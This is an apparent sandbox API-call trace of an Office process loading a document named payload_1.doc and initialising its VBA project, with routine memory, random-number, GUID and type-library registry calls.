(This=0x7ff9e7edf3f0, pv=0x2764b16e580) [0093.499] wcsncpy_s (in: _Destination=0xb5690f1c30, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.499] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f1b60, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.499] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.499] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0093.499] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f2058 | out: ppvObject=0xb5690f2058*=0x0) returned 0x80004002 [0093.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0xb5690f2020, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0093.500] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA") returned 0x40e2f7 [0093.500] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0093.500] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e8b0 [0093.500] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ae9e8b0) returned 0x0 [0093.500] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e750 [0093.500] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ae9e750) returned 0x0 [0093.500] VirtualQuery (in: lpAddress=0xb5690f41f0, lpBuffer=0xb5690f41b0, dwLength=0x30 | out: lpBuffer=0xb5690f41b0*(BaseAddress=0xb5690f4000, AllocationBase=0xb569000000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0xc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0093.500] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764ae9e6d0 [0093.500] qsort (in: _Base=0x2764ae9e6d0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7ff9be161bbc | out: _Base=0x2764ae9e6d0) [0093.501] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9e6d0) [0093.501] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b21e600 [0093.501] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2764b21e8a0 [0093.501] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764b21e8a0) returned 0xc [0093.501] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win16") returned 0x407ec1 [0093.501] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win32") returned 0x407f07 [0093.501] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Win64") returned 0x407f78 [0093.501] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Mac") returned 0x40b2b3 [0093.501] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA6") returned 0x4023ad [0093.501] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="VBA7") returned 0x4023ae [0093.501] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9e750) [0093.501] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9e8b0) [0093.501] CoCreateGuid (in: pguid=0xb5690f42f8 | out: pguid=0xb5690f42f8*(Data1=0x3b61e6e6, Data2=0x94e7, Data3=0x45ef, Data4=([0]=0xa1, [1]=0xd, [2]=0x55, [3]=0xd9, [4]=0x7a, [5]=0x10, [6]=0x1e, [7]=0xab))) returned 0x0 [0093.501] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x6b0) returned 0x2763c158cc0 [0093.501] srand (_Seed=0x5196) [0093.501] rand () returned 2707 [0093.501] rand () returned 5367 [0093.501] rand () returned 3107 [0093.501] rand () returned 25991 [0093.502] rand () returned 22224 [0093.502] rand () returned 7173 [0093.502] rand () returned 3305 [0093.502] rand () returned 5542 [0093.502] rand () returned 21093 [0093.502] rand () returned 7093 [0093.502] rand () returned 29645 [0093.502] rand () returned 30555 [0093.502] rand () returned 4452 [0093.502] rand () returned 15519 [0093.502] rand () returned 22682 [0093.502] rand () returned 20118 [0093.502] rand () returned 26125 [0093.502] rand () returned 28117 [0093.502] rand () returned 31912 [0093.502] rand () returned 27549 [0093.502] rand () returned 25247 [0093.502] rand () returned 12135 [0093.502] rand () returned 31572 [0093.502] rand () returned 27055 [0093.502] rand () returned 11630 [0093.502] rand () returned 26157 [0093.502] rand () returned 24237 [0093.502] rand () returned 16615 [0093.502] rand () returned 23350 [0093.502] rand () returned 7360 [0093.502] rand () returned 27760 [0093.502] rand () returned 12132 [0093.502] rand () returned 17327 [0093.502] rand () returned 21962 [0093.502] rand () returned 16183 [0093.502] rand () returned 15783 [0093.502] rand () returned 1121 [0093.502] rand () returned 21376 [0093.502] rand () returned 32749 [0093.502] rand () returned 25148 [0093.502] rand () returned 9658 [0093.502] rand () returned 30828 [0093.502] rand () returned 21381 [0093.502] rand () returned 2205 [0093.503] rand () returned 5726 [0093.503] rand () returned 9584 [0093.503] rand () returned 20715 [0093.503] rand () returned 32595 [0093.503] rand () returned 28862 [0093.503] rand () returned 14600 [0093.503] rand () returned 4923 [0093.503] rand () returned 4446 [0093.503] rand () returned 16108 [0093.503] rand () returned 5071 [0093.503] rand () returned 15410 [0093.503] rand () returned 20183 [0093.503] rand () returned 12462 [0093.503] rand () returned 17989 [0093.503] rand () returned 31458 [0093.503] rand () returned 18644 [0093.503] rand () returned 30673 [0093.503] rand () returned 19407 [0093.503] rand () returned 27305 [0093.503] rand () returned 17548 [0093.503] rand () returned 16063 [0093.503] rand () returned 30463 [0093.503] rand () returned 24163 [0093.503] rand () returned 10684 [0093.503] rand () returned 27988 [0093.503] rand () returned 29462 [0093.503] rand () returned 27615 [0093.503] rand () returned 12361 [0093.503] rand () returned 12270 [0093.503] rand () returned 32455 [0093.503] rand () returned 19344 [0093.503] rand () returned 4390 [0093.503] rand () returned 29891 [0093.503] rand () returned 17470 [0093.503] rand () returned 24709 [0093.503] rand () returned 15992 [0093.503] rand () returned 21368 [0093.503] rand () returned 29281 [0093.503] rand () returned 31899 [0093.503] rand () returned 26360 [0093.503] rand () returned 4847 [0093.503] rand () returned 31574 [0093.504] rand () returned 13554 [0093.504] rand () returned 18585 [0093.504] rand () returned 16736 [0093.504] rand () returned 7237 [0093.504] rand () returned 23197 [0093.504] rand () returned 5740 [0093.504] rand () returned 4779 [0093.504] rand () returned 4703 [0093.504] rand () returned 27550 [0093.504] rand () returned 30144 [0093.504] rand () returned 30956 [0093.504] rand () returned 8479 [0093.504] rand () returned 4113 [0093.504] rand () returned 22157 [0093.504] rand () returned 11088 [0093.504] rand () returned 19919 [0093.504] rand () returned 30631 [0093.504] rand () returned 11027 [0093.504] rand () returned 3880 [0093.504] rand () returned 29775 [0093.504] rand () returned 11094 [0093.504] rand () returned 17086 [0093.504] rand () returned 14140 [0093.504] rand () returned 6418 [0093.504] rand () returned 10063 [0093.504] rand () returned 19533 [0093.504] rand () returned 28002 [0093.504] rand () returned 7273 [0093.504] rand () returned 20785 [0093.504] rand () returned 17203 [0093.504] rand () returned 31311 [0093.504] rand () returned 13060 [0093.504] rand () returned 7804 [0093.504] rand () returned 19517 [0093.504] rand () returned 8108 [0093.504] rand () returned 18357 [0093.504] rand () returned 32584 [0093.504] rand () returned 17782 [0093.504] rand () returned 30829 [0093.504] rand () returned 10872 [0093.504] rand () returned 24887 [0093.505] rand () returned 3400 [0093.505] rand () returned 13150 [0093.505] rand () returned 12465 [0093.505] rand () returned 24232 [0093.505] rand () returned 17635 [0093.505] rand () returned 23550 [0093.505] rand () returned 10932 [0093.505] rand () returned 28205 [0093.505] rand () returned 4579 [0093.505] rand () returned 9617 [0093.505] rand () returned 21130 [0093.505] rand () returned 9792 [0093.505] rand () returned 9004 [0093.505] rand () returned 27761 [0093.505] rand () returned 6131 [0093.505] rand () returned 26929 [0093.505] rand () returned 32025 [0093.505] rand () returned 24997 [0093.505] rand () returned 28071 [0093.505] rand () returned 3427 [0093.505] rand () returned 20695 [0093.505] rand () returned 5300 [0093.505] rand () returned 31713 [0093.505] rand () returned 21944 [0093.505] rand () returned 25355 [0093.505] rand () returned 20411 [0093.505] rand () returned 23582 [0093.505] rand () returned 20042 [0093.505] rand () returned 17851 [0093.505] rand () returned 31166 [0093.505] rand () returned 16930 [0093.505] rand () returned 24924 [0093.505] rand () returned 26987 [0093.505] rand () returned 29500 [0093.505] rand () returned 13885 [0093.505] rand () returned 14480 [0093.505] rand () returned 18822 [0093.505] rand () returned 8454 [0093.505] rand () returned 17612 [0093.505] rand () returned 15962 [0093.505] rand () returned 14336 [0093.506] rand () returned 6481 [0093.506] rand () returned 18178 [0093.506] rand () returned 21428 [0093.506] rand () returned 3130 [0093.506] rand () returned 9993 [0093.506] rand () returned 10473 [0093.506] rand () returned 3603 [0093.506] rand () returned 14630 [0093.506] rand () returned 5992 [0093.506] rand () returned 20643 [0093.506] rand () returned 4506 [0093.506] rand () returned 3755 [0093.506] rand () returned 1480 [0093.506] rand () returned 2806 [0093.506] rand () returned 23438 [0093.506] rand () returned 10827 [0093.506] rand () returned 6581 [0093.506] rand () returned 8456 [0093.506] rand () returned 4363 [0093.506] rand () returned 23299 [0093.506] rand () returned 27463 [0093.506] rand () returned 31590 [0093.506] rand () returned 9717 [0093.506] rand () returned 31858 [0093.506] rand () returned 430 [0093.506] rand () returned 30283 [0093.506] rand () returned 28720 [0093.506] rand () returned 3390 [0093.506] rand () returned 8207 [0093.506] rand () returned 19232 [0093.506] rand () returned 31508 [0093.506] rand () returned 1204 [0093.506] rand () returned 21647 [0093.506] rand () returned 13119 [0093.506] rand () returned 12059 [0093.506] rand () returned 11182 [0093.506] rand () returned 32173 [0093.506] rand () returned 10236 [0093.506] rand () returned 8669 [0093.506] rand () returned 31930 [0093.507] rand () returned 14804 [0093.507] rand () returned 25574 [0093.507] rand () returned 8767 [0093.507] rand () returned 20344 [0093.507] rand () returned 30000 [0093.507] rand () returned 2378 [0093.507] rand () returned 21735 [0093.507] rand () returned 21316 [0093.507] rand () returned 2498 [0093.507] rand () returned 4601 [0093.507] rand () returned 29939 [0093.507] rand () returned 7445 [0093.507] rand () returned 9647 [0093.507] rand () returned 27723 [0093.507] rand () returned 3306 [0093.507] rand () returned 19621 [0093.507] rand () returned 27614 [0093.507] rand () returned 26980 [0093.507] rand () returned 15346 [0093.507] rand () returned 3283 [0093.507] rand () returned 705 [0093.507] rand () returned 24758 [0093.507] rand () returned 23364 [0093.507] rand () returned 29509 [0093.507] rand () returned 1395 [0093.507] rand () returned 11463 [0093.507] rand () returned 6110 [0093.507] rand () returned 849 [0093.507] rand () returned 2820 [0093.507] rand () returned 25909 [0093.507] rand () returned 21623 [0093.507] rand () returned 22558 [0093.507] rand () returned 14353 [0093.507] rand () returned 31223 [0093.507] rand () returned 26552 [0093.507] rand () returned 14854 [0093.507] rand () returned 3735 [0093.507] rand () returned 5093 [0093.507] rand () returned 2729 [0093.507] rand () returned 9023 [0093.507] rand () returned 28680 [0093.508] CoCreateGuid (in: pguid=0x2764b163738 | out: pguid=0x2764b163738*(Data1=0xbc20a7f1, Data2=0xd3d, Data3=0x45e6, Data4=([0]=0x80, [1]=0x9b, [2]=0xf9, [3]=0x6b, [4]=0x5c, [5]=0x44, [6]=0x7c, [7]=0x35))) returned 0x0 [0093.508] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x0) returned 0x2764ae9e750 [0093.508] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b3c8420 [0093.508] strcpy_s (in: _Dst=0x2764b163798, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0093.508] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x2028) returned 0x2764b611710 [0093.509] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10020) returned 0x2764b613740 [0093.512] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName=0x7ff9be1e69a0) returned 0x0 [0093.512] CompareStringA (Locale=0x411, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0093.512] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0xb5690f42f4, cbMultiByte=2, lpWideCharStr=0xb5690f4308, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0093.512] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Pikatop") returned 0x400875 [0093.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=8, lpMultiByteStr=0xb5690f4090, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0093.513] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Pikatop") returned 0x400875 [0093.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Pikatop", cchWideChar=8, lpMultiByteStr=0xb5690f3f50, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pikatop", lpUsedDefaultChar=0x0) returned 8 [0093.513] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Pikatop") returned 0x400875 [0093.513] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Pikatop") returned 0x400875 [0093.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b21e8c0 [0093.513] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad02360) [0093.513] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad02360 [0093.513] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad02360, cb=0x44) returned 0x2764b18eac0 [0093.513] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b21e8c0) [0093.513] strcpy_s (in: _Dst=0x2764b1637a8, _DstSize=0x8, _Src="Pikatop" | out: _Dst="Pikatop") returned 0x0 [0093.514] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0xb5690f4290 | out: pclsid=0xb5690f4290*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0093.516] wcsncpy_s (in: _Destination=0x27645107118, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x30 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#") returned 0x0 [0093.516] wcscpy_s (in: _Destination=0x27645107178, _SizeInWords=0x2f, _Source="C:\\Windows\\SysWOW64\\stdole2.tlb" | out: _Destination="C:\\Windows\\SysWOW64\\stdole2.tlb") returned 0x0 [0093.516] wcscpy_s (in: _Destination=0x276451071b6, _SizeInWords=0x10, _Source="#OLE Automation" | out: _Destination="#OLE Automation") returned 0x0 [0093.516] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x27645431760, cb=0x680) returned 0x2763bfe0ad0 [0093.516] wcscpy_s (in: _Destination=0x2763bfe0d90, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0093.517] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0093.517] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0093.517] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2764b59af40 [0093.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2764b59af40, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0093.517] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59af40) [0093.517] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 4 [0093.517] wcscpy_s (in: _Destination=0x2764b3c6d80, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0093.517] wcsncpy_s (in: _Destination=0xb5690f3f20, _SizeInWords=0x108, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", _MaxCount=0x106 | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0093.517] CharLowerBuffW (in: lpsz="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation", cchLength=0x5e | out: lpsz="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation") returned 0x5e [0093.517] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xbe) returned 0x2764b59a4b0 [0093.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", cchWideChar=95, lpMultiByteStr=0x2764b59a4b0, cbMultiByte=190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020430-0000-0000-c000-000000000046}#2.0#0#c:\\windows\\syswow64\\stdole2.tlb#ole automation", lpUsedDefaultChar=0x0) returned 95 [0093.517] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b59a4b0) [0093.517] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.517] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3e10, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.517] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0093.517] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0xb5690f41c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0093.517] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="stdole") returned 0x406093 [0093.517] strcpy_s (in: _Dst=0xb5690f3fa0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0093.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3fa0, cbMultiByte=7, lpWideCharStr=0xb5690f3df0, cchWideChar=7 | out: lpWideCharStr="stdole") returned 7 [0093.517] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0093.517] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="stdole", lHashVal=0x406093, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.517] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0093.518] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0093.518] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="stdole", lHashVal=0x406093, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.518] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0093.518] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x2764559f760 [0093.518] wcscpy_s (in: _Destination=0x27645107118, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned 0x0 [0093.541] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f35a0 | out: phkResult=0xb5690f35a0*=0x12a6) returned 0x0 [0093.542] RegOpenKeyW (in: hKey=0x12a6, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0xb5690f3598 | out: phkResult=0xb5690f3598*=0x12ae) returned 0x0 [0093.542] RegEnumKeyW (in: hKey=0x12ae, dwIndex=0x0, lpName=0xb5690f35c8, cchName=0xa | out: lpName="1.0") returned 0x0 [0093.542] RegEnumKeyW (in: hKey=0x12ae, dwIndex=0x1, lpName=0xb5690f35c8, cchName=0xa | out: lpName="2.0") returned 0x0 [0093.542] wcscpy_s (in: _Destination=0xb5690f35b0, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0093.542] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="2.0", phkResult=0xb5690f3658 | out: phkResult=0xb5690f3658*=0x12aa) returned 0x0 [0093.542] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f35d0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.542] RegOpenKeyA (in: hKey=0x12aa, lpSubKey="0", phkResult=0xb5690f35c0 | out: phkResult=0xb5690f35c0*=0x12b2) returned 0x0 [0093.543] RegOpenKeyW (in: hKey=0x12b2, lpSubKey="win64", phkResult=0xb5690f35c8 | out: phkResult=0xb5690f35c8*=0x12b6) returned 0x0 [0093.543] RegCloseKey (hKey=0x12b6) returned 0x0 [0093.543] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.543] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3660, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.543] RegOpenKeyW (in: hKey=0x12aa, lpSubKey="0", phkResult=0xb5690f3638 | out: phkResult=0xb5690f3638*=0x12b2) returned 0x0 [0093.543] RegQueryValueW (in: hKey=0x12b2, lpSubKey="win64", lpData=0xb5690f3680, lpcbData=0xb5690f3634 | out: lpData="C:\\Windows\\System32\\stdole2.tlb", lpcbData=0xb5690f3634) returned 0x0 [0093.543] wcscpy_s (in: _Destination=0x2764559f760, _SizeInWords=0x800, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0093.543] RegCloseKey (hKey=0x12b2) returned 0x0 [0093.543] RegCloseKey (hKey=0x12aa) returned 0x0 [0093.543] RegCloseKey (hKey=0x12ae) returned 0x0 [0093.543] RegCloseKey (hKey=0x12a6) returned 0x0 [0093.544] LoadTypeLib (in: szFile="C:\\Windows\\System32\\stdole2.tlb", pptlib=0xb5690f3ca8*=0x0 | out: pptlib=0xb5690f3ca8*=0x276454c2a20) returned 0x0 [0093.544] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3aa8 | out: ppvObject=0xb5690f3aa8*=0x0) returned 0x80004002 [0093.544] ITypeLib:RemoteGetLibAttr (in: This=0x276454c2a20, ppTLibAttr=0xb5690f3aa0, pDummy=0xb5690f3aa8 | out: ppTLibAttr=0xb5690f3aa0, pDummy=0xb5690f3aa8*=0x0) returned 0x0 [0093.544] ITypeLib:RemoteGetDocumentation (in: This=0x276454c2a20, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f3a98, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27645107176 | out: pBstrName=0xb5690f3a98*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27645107176) returned 0x0 [0093.544] StringFromGUID2 (in: rguid=0x2764ae3b3e0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0xb5690f3ac0, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0093.544] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f3a0a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0093.544] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3a0e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.544] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3a12, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.544] wcscpy_s (in: _Destination=0x2763bf1cfd8, _SizeInWords=0x5f, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0093.544] wcscpy_s (in: _Destination=0x2763bf1cfde, _SizeInWords=0x5c, _Source="{00020430-0000-0000-C000-000000000046}" | out: _Destination="{00020430-0000-0000-C000-000000000046}") returned 0x0 [0093.544] wcscpy_s (in: _Destination=0x2763bf1d02a, _SizeInWords=0x36, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0 [0093.544] wcscpy_s (in: _Destination=0x2763bf1d038, _SizeInWords=0x2f, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0093.545] wcscpy_s (in: _Destination=0x2763bf1d078, _SizeInWords=0xf, _Source="OLE Automation" | out: _Destination="OLE Automation") returned 0x0 [0093.545] ITypeLib:LocalReleaseTLibAttr (This=0x276454c2a20) returned 0x0 [0093.545] wcscpy_s (in: _Destination=0x2764559f760, _SizeInWords=0x800, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: 